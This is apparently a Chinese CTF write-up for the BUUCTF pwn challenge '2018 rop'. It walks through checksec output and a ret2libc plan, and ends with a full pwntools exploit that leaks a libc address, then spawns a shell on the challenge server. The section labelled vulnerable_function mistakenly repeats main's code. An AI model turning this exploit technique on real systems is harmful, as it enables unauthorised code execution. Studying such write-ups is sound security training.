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  • PWN

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    • 铁人三项(第五赛区) 2018 rop
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
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  • 笔记
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Zephyr
2022-03-22
目录

铁人三项(第五赛区) 2018 rop

# 铁人三项(第五赛区) 2018 rop

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/铁人三项_第五赛区_2018_rop/2018_rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
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# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  be_nice_to_people();
  vulnerable_function();
  return write(1, "Hello, World\n", 0xDu);
}
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vulnerable_function函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  be_nice_to_people();
  vulnerable_function();
  return write(1, "Hello, World\n", 0xDu);
}
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# 思路分析

  1. 目前信息:

    • vulnerable_function函数内明显的栈溢出漏洞
    • No PIE
    • NX 保护开启
    • 无后门函数
  2. 思路:

    • 本题是标准的ret2libc,应先泄漏libc及函数地址,再利用泄漏的信息构造payload,执行获取shell

# exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/铁人三项_第五赛区_2018_rop/2018_rop'
io = remote('node4.buuoj.cn', 28626)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc_start_main_addr = elf.got['__libc_start_main']
write_addr = elf.plt['write']
vulnerable_function_addr = elf.symbols['vulnerable_function']
padding = 0x88+4
pop_3times_ret = 0x0804855d
payload = flat(['a'*padding, write_addr, pop_3times_ret, 1,libc_start_main_addr, 4, vulnerable_function_addr])
io.sendline(payload)
leak_libc_start_main_addr = u32(io.recv())
libc = LibcSearcher('__libc_start_main', leak_libc_start_main_addr)
libcbase = leak_libc_start_main_addr-libc.dump('__libc_start_main')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
payload = flat(['a'*padding, system_addr, 0xdeadbeef, bin_sh_addr])
io.sendline(payload)
io.interactive()
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#buuctf#pwn#StackOverflow
上次更新: 2022/08/15, 00:29:49
ciscn 2019 ne 5
bjdctf 2020 babyrop

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